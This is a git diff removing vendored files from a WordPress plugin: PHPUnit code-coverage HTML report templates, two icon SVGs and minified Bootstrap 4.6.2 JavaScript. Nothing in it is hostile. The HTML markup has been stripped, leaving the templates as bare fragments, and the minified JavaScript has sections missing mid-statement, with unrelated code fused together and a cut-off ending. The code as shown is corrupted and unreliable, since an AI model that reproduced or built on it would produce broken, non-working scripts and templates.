      - - - - - - - - -{{insufficient_coverage_methods}} - -
      MethodCoverage
      -
      -
      -
      -

      Project Risks

      -
      - - - - - - - - -{{project_risks_methods}} - -
      MethodCRAP
      -
      -
      -
      - -
      - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard_branch.html.dist deleted file mode 100644 index 60e66d5b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard_branch.html.dist +++ /dev/null @@ -1,281 +0,0 @@ - - - - - Dashboard for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      -
      -

      Classes

      -
      -
      -
      -
      -

      Coverage Distribution

      -
      - -
      -
      -
      -

      Complexity

      -
      - -
      -
      -
      -
      -
      -

      Insufficient Coverage

      -
      - - - - - - - - -{{insufficient_coverage_classes}} - -
      ClassCoverage
      -
      -
      -
      -

      Project Risks

      -
      - - - - - - - - -{{project_risks_classes}} - -
      ClassCRAP
      -
      -
      -
      -
      -
      -

      Methods

      -
      -
      -
      -
      -

      Coverage Distribution

      -
      - -
      -
      -
      -

      Complexity

      -
      - -
      -
      -
      -
      -
      -

      Insufficient Coverage

      -
      - - - - - - - - -{{insufficient_coverage_methods}} - -
      MethodCoverage
      -
      -
      -
      -

      Project Risks

      -
      - - - - - - - - -{{project_risks_methods}} - -
      MethodCRAP
      -
      -
      -
      - -
      - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory.html.dist deleted file mode 100644 index f769d2ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory.html.dist +++ /dev/null @@ -1,60 +0,0 @@ - - - - - Code Coverage for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      - - - - - - - - - - - - - - -{{items}} - -
       
      Code Coverage
       
      Lines
      Functions and Methods
      Classes and Traits
      -
      -
      -
      -

      Legend

      -

      - Low: 0% to {{low_upper_bound}}% - Medium: {{low_upper_bound}}% to {{high_lower_bound}}% - High: {{high_lower_bound}}% to 100% -

      -

      - Generated by php-code-coverage {{version}} using {{runtime}}{{generator}} at {{date}}. -

      -
      -
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_branch.html.dist deleted file mode 100644 index a40c2e12..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_branch.html.dist +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Code Coverage for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      - - - - - - - - - - - - - - - - -{{items}} - -
       
      Code Coverage
       
      Lines
      Branches
      Paths
      Functions and Methods
      Classes and Traits
      -
      -
      -
      -

      Legend

      -

      - Low: 0% to {{low_upper_bound}}% - Medium: {{low_upper_bound}}% to {{high_lower_bound}}% - High: {{high_lower_bound}}% to 100% -

      -

      - Generated by php-code-coverage {{version}} using {{runtime}}{{generator}} at {{date}}. -

      -
      -
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item.html.dist deleted file mode 100644 index f6941a43..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item.html.dist +++ /dev/null @@ -1,13 +0,0 @@ - - {{icon}}{{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{classes_bar}} -
      {{classes_tested_percent}}
      -
      {{classes_number}}
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item_branch.html.dist deleted file mode 100644 index 532a436c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item_branch.html.dist +++ /dev/null @@ -1,19 +0,0 @@ - - {{icon}}{{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{branches_bar}} -
      {{branches_executed_percent}}
      -
      {{branches_number}}
      - {{paths_bar}} -
      {{paths_executed_percent}}
      -
      {{paths_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{classes_bar}} -
      {{classes_tested_percent}}
      -
      {{classes_number}}
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file.html.dist deleted file mode 100644 index a022f5c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file.html.dist +++ /dev/null @@ -1,65 +0,0 @@ - - - - - Code Coverage for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      - - - - - - - - - - - - - - -{{items}} - -
       
      Code Coverage
       
      Lines
      Functions and Methods
      Classes and Traits
      -
      -{{lines}} -{{structure}} - -
      - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_branch.html.dist deleted file mode 100644 index f48ebf12..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_branch.html.dist +++ /dev/null @@ -1,67 +0,0 @@ - - - - - Code Coverage for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      - - - - - - - - - - - - - - - - -{{items}} - -
       
      Code Coverage
       
      Lines
      Branches
      Paths
      Functions and Methods
      Classes and Traits
      -
      -{{lines}} -{{structure}} - -
      - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item.html.dist deleted file mode 100644 index b1c0fca4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item.html.dist +++ /dev/null @@ -1,14 +0,0 @@ - - {{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{crap}} - {{classes_bar}} -
      {{classes_tested_percent}}
      -
      {{classes_number}}
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item_branch.html.dist deleted file mode 100644 index 50502517..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item_branch.html.dist +++ /dev/null @@ -1,20 +0,0 @@ - - {{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{branches_bar}} -
      {{branches_executed_percent}}
      -
      {{branches_number}}
      - {{paths_bar}} -
      {{paths_executed_percent}}
      -
      {{paths_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{crap}} - {{classes_bar}} -
      {{classes_tested_percent}}
      -
      {{classes_number}}
      - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-code.svg b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-code.svg deleted file mode 100644 index 03d1dafc250907cf7050cda1a7b2e11c73c65e09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmWN?OA^8$3;@u5Pr(H&k#Fd2pb5f^O2^PHJiWfnyZ9r0yj7d?kWK4HpSNd~^?y6d zx{sHZgLi%1m(fW{%f^STVq{|(C`Zp|oB;qrr05EPGqE5#f(#W>@|2lFu(ePLA!C4& L7U^GB7Tod!kWVK6 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-directory.svg b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-directory.svg deleted file mode 100644 index 5b1ef363af453fbdb52b106b0f51ce4596e9a4a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmWN?!4bkB5CFhGRnUL|4h~4VIp7dxR5F5jSiSCNFMiKHUb3xq&O@ntU$;k{+yC}S zTOLm}PtNKxV)P=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};d.jQueryDetection(),o.default.fn.emulateTransitionEnd=function(t){var e=this,n=!1;return o.default(this).one(d.TRANSITION_END,(function(){n=!0})),setTimeout((function(){n||d.triggerTransitionEnd(e)}),t),this},o.default.event.special[d.TRANSITION_END]={bindType:f,delegateType:f,handle:function(t){if(o.default(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var c="bs.alert",h=o.default.fn.alert,g=function(){function t(t){this._element=t}var e=t.prototype;return e.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},e.dispose=function(){o.default.removeData(this._element,c),this._element=null},e._getRootElement=function(t){var e=d.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=o.default(t).closest(".alert")[0]),n},e._triggerCloseEvent=function(t){var e=o.default.Event("close.bs.alert");return o.default(t).trigger(e),e},e._removeElement=function(t){var e=this;if(o.default(t).removeClass("show"),o.default(t).hasClass("fade")){var n=d.getTransitionDurationFromElement(t);o.default(t).one(d.TRANSITION_END,(function(n){return e._destroyElement(t,n)})).emulateTransitionEnd(n)}else this._destroyElement(t)},e._destroyElement=function(t){o.default(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(c);i||(i=new t(this),n.data(c,i)),"close"===e&&i[e](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}}]),t}();o.default(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',g._handleDismiss(new g)),o.default.fn.alert=g._jQueryInterface,o.default.fn.alert.Constructor=g,o.default.fn.alert.noConflict=function(){return o.default.fn.alert=h,g._jQueryInterface};var m="bs.button",p=o.default.fn.button,_="active",v='[data-toggle^="button"]',y='input:not([type="hidden"])',b=".btn",E=function(){function t(t){this._element=t,this.shouldAvoidTriggerChange=!1}var e=t.prototype;return e.toggle=function(){var t=!0,e=!0,n=o.default(this._element).closest('[data-toggle="buttons"]')[0];if(n){var i=this._element.querySelector(y);if(i){if("radio"===i.type)if(i.checked&&this._element.classList.contains(_))t=!1;else{var a=n.querySelector(".active");a&&o.default(a).removeClass(_)}t&&("checkbox"!==i.type&&"radio"!==i.type||(i.checked=!this._element.classList.contains(_)),this.shouldAvoidTriggerChange||o.default(i).trigger("change")),i.focus(),e=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains(_)),t&&o.default(this._element).toggleClass(_))},e.dispose=function(){o.default.removeData(this._element,m),this._element=null},t._jQueryInterface=function(e,n){return this.each((function(){var i=o.default(this),a=i.data(m);a||(a=new t(this),i.data(m,a)),a.shouldAvoidTriggerChange=n,"toggle"===e&&a[e]()}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}}]),t}();o.default(document).on("click.bs.button.data-api",v,(function(t){var e=t.target,n=e;if(o.default(e).hasClass("btn")||(e=o.default(e).closest(b)[0]),!e||e.hasAttribute("disabled")||e.classList.contains("disabled"))t.preventDefault();else{var i=e.querySelector(y);if(i&&(i.hasAttribute("disabled")||i.classList.contains("disabled")))return void t.preventDefault();"INPUT"!==n.tagName&&"LABEL"===e.tagName||E._jQueryInterface.call(o.default(e),"toggle","INPUT"===n.tagName)}})).on("focus.bs.button.data-api blur.bs.button.data-api",v,(function(t){var e=o.default(t.target).closest(b)[0];o.default(e).toggleClass("focus",/^focus(in)?$/.test(t.type))})),o.default(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var e=t.prototype;return e.next=function(){this._isSliding||this._slide(N)},e.nextWhenVisible=function(){var t=o.default(this._element);!document.hidden&&t.is(":visible")&&"hidden"!==t.css("visibility")&&this.next()},e.prev=function(){this._isSliding||this._slide(D)},e.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(d.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},e.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},e.to=function(t){var e=this;this._activeElement=this._element.querySelector(I);var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)o.default(this._element).one(A,(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var i=t>n?N:D;this._slide(i,this._items[t])}},e.dispose=function(){o.default(this._element).off(".bs.carousel"),o.default.removeData(this._element,w),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},e._getConfig=function(t){return t=r({},k,t),d.typeCheckConfig(T,t,O),t},e._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},e._addEventListeners=function(){var t=this;this._config.keyboard&&o.default(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&o.default(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},e._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var e=function(e){t._pointerEvent&&j[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},n=function(e){t._pointerEvent&&j[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};o.default(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(o.default(this._element).on("pointerdown.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(o.default(this._element).on("touchstart.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("touchmove.bs.carousel",(function(e){return function(e){t.touchDeltaX=e.originalEvent.touches&&e.originalEvent.touches.length>1?0:e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),o.default(this._element).on("touchend.bs.carousel",(function(t){return n(t)})))}},e._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},e._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},e._getItemByDirection=function(t,e){var n=t===N,i=t===D,o=this._getItemIndex(e),a=this._items.length-1;if((i&&0===o||n&&o===a)&&!this._config.wrap)return e;var s=(o+(t===D?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},e._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(this._element.querySelector(I)),a=o.default.Event("slide.bs.carousel",{relatedTarget:t,direction:e,from:i,to:n});return o.default(this._element).trigger(a),a},e._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));o.default(e).removeClass(S);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&o.default(n).addClass(S)}},e._updateInterval=function(){var t=this._activeElement||this._element.querySelector(I);if(t){var e=parseInt(t.getAttribute("data-interval"),10);e?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=e):this._config.interval=this._config.defaultInterval||this._config.interval}},e._slide=function(t,e){var n,i,a,s=this,l=this._element.querySelector(I),r=this._getItemIndex(l),u=e||l&&this._getItemByDirection(t,l),f=this._getItemIndex(u),c=Boolean(this._interval);if(t===N?(n="carousel-item-left",i="carousel-item-next",a="left"):(n="carousel-item-right",i="carousel-item-prev",a="right"),u&&o.default(u).hasClass(S))this._isSliding=!1;else if(!this._triggerSlideEvent(u,a).isDefaultPrevented()&&l&&u){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(u),this._activeElement=u;var h=o.default.Event(A,{relatedTarget:u,direction:a,from:r,to:f});if(o.default(this._element).hasClass("slide")){o.default(u).addClass(i),d.reflow(u),o.default(l).addClass(n),o.default(u).addClass(n);var g=d.getTransitionDurationFromElement(l);o.default(l).one(d.TRANSITION_END,(function(){o.default(u).removeClass(n+" "+i).addClass(S),o.default(l).removeClass("active "+i+" "+n),s._isSliding=!1,setTimeout((function(){return o.default(s._element).trigger(h)}),0)})).emulateTransitionEnd(g)}else o.default(l).removeClass(S),o.default(u).addClass(S),this._isSliding=!1,o.default(this._element).trigger(h);c&&this.cycle()}},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data(w),i=r({},k,o.default(this).data());"object"==typeof e&&(i=r({},i,e));var a="string"==typeof e?e:i.slide;if(n||(n=new t(this,i),o.default(this).data(w,n)),"number"==typeof e)n.to(e);else if("string"==typeof a){if("undefined"==typeof n[a])throw new TypeError('No method named "'+a+'"');n[a]()}else i.interval&&i.ride&&(n.pause(),n.cycle())}))},t._dataApiClickHandler=function(e){var n=d.getSelectorFromElement(this);if(n){var i=o.default(n)[0];if(i&&o.default(i).hasClass("carousel")){var a=r({},o.default(i).data(),o.default(this).data()),s=this.getAttribute("data-slide-to");s&&(a.interval=!1),t._jQueryInterface.call(o.default(i),a),s&&o.default(i).data(w).to(s),e.preventDefault()}}},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}},{key:"Default",get:function(){return k}}]),t}();o.default(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",P._dataApiClickHandler),o.default(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),e=0,n=t.length;e0&&(this._selector=s,this._triggerArray.push(a))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var e=t.prototype;return e.toggle=function(){o.default(this._element).hasClass(q)?this.hide():this.show()},e.show=function(){var e,n,i=this;if(!(this._isTransitioning||o.default(this._element).hasClass(q)||(this._parent&&0===(e=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof i._config.parent?t.getAttribute("data-parent")===i._config.parent:t.classList.contains(F)}))).length&&(e=null),e&&(n=o.default(e).not(this._selector).data(R))&&n._isTransitioning))){var a=o.default.Event("show.bs.collapse");if(o.default(this._element).trigger(a),!a.isDefaultPrevented()){e&&(t._jQueryInterface.call(o.default(e).not(this._selector),"hide"),n||o.default(e).data(R,null));var s=this._getDimension();o.default(this._element).removeClass(F).addClass(Q),this._element.style[s]=0,this._triggerArray.length&&o.default(this._triggerArray).removeClass(B).attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(s[0].toUpperCase()+s.slice(1)),r=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(){o.default(i._element).removeClass(Q).addClass("collapse show"),i._element.style[s]="",i.setTransitioning(!1),o.default(i._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(r),this._element.style[s]=this._element[l]+"px"}}},e.hide=function(){var t=this;if(!this._isTransitioning&&o.default(this._element).hasClass(q)){var e=o.default.Event("hide.bs.collapse");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",d.reflow(this._element),o.default(this._element).addClass(Q).removeClass("collapse show");var i=this._triggerArray.length;if(i>0)for(var a=0;a0},e._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t._config.offset(e.offsets,t._element)),e}:e.offset=this._config.offset,e},e._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),r({},t,this._config.popperConfig)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data(K);if(n||(n=new t(this,"object"==typeof e?e:null),o.default(this).data(K,n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},t._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=[].slice.call(document.querySelectorAll(it)),i=0,a=n.length;i0&&s--,40===e.which&&sdocument.documentElement.clientHeight;n||(this._element.style.overflowY="hidden"),this._element.classList.add(ht);var i=d.getTransitionDurationFromElement(this._dialog);o.default(this._element).off(d.TRANSITION_END),o.default(this._element).one(d.TRANSITION_END,(function(){t._element.classList.remove(ht),n||o.default(t._element).one(d.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,i)})).emulateTransitionEnd(i),this._element.focus()}},e._showElement=function(t){var e=this,n=o.default(this._element).hasClass(dt),i=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),o.default(this._dialog).hasClass("modal-dialog-scrollable")&&i?i.scrollTop=0:this._element.scrollTop=0,n&&d.reflow(this._element),o.default(this._element).addClass(ct),this._config.focus&&this._enforceFocus();var a=o.default.Event("shown.bs.modal",{relatedTarget:t}),s=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,o.default(e._element).trigger(a)};if(n){var l=d.getTransitionDurationFromElement(this._dialog);o.default(this._dialog).one(d.TRANSITION_END,s).emulateTransitionEnd(l)}else s()},e._enforceFocus=function(){var t=this;o.default(document).off(pt).on(pt,(function(e){document!==e.target&&t._element!==e.target&&0===o.default(t._element).has(e.target).length&&t._element.focus()}))},e._setEscapeEvent=function(){var t=this;this._isShown?o.default(this._element).on(yt,(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||o.default(this._element).off(yt)},e._setResizeEvent=function(){var t=this;this._isShown?o.default(window).on(_t,(function(e){return t.handleUpdate(e)})):o.default(window).off(_t)},e._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){o.default(document.body).removeClass(ft),t._resetAdjustments(),t._resetScrollbar(),o.default(t._element).trigger(gt)}))},e._removeBackdrop=function(){this._backdrop&&(o.default(this._backdrop).remove(),this._backdrop=null)},e._showBackdrop=function(t){var e=this,n=o.default(this._element).hasClass(dt)?dt:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",n&&this._backdrop.classList.add(n),o.default(this._backdrop).appendTo(document.body),o.default(this._element).on(vt,(function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._triggerBackdropTransition():e.hide())})),n&&d.reflow(this._backdrop),o.default(this._backdrop).addClass(ct),!t)return;if(!n)return void t();var i=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){o.default(this._backdrop).removeClass(ct);var a=function(){e._removeBackdrop(),t&&t()};if(o.default(this._element).hasClass(dt)){var s=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a()}else t&&t()},e._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)
      ',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",customClass:"",sanitize:!0,sanitizeFn:null,whiteList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ut={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string|function)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",whiteList:"object",popperConfig:"(null|object)"},Mt={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},Wt=function(){function t(t,e){if("undefined"==typeof a.default)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var e=t.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=o.default(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(o.default(this.getTipElement()).hasClass(Rt))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),o.default.removeData(this.element,this.constructor.DATA_KEY),o.default(this.element).off(this.constructor.EVENT_KEY),o.default(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&o.default(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var 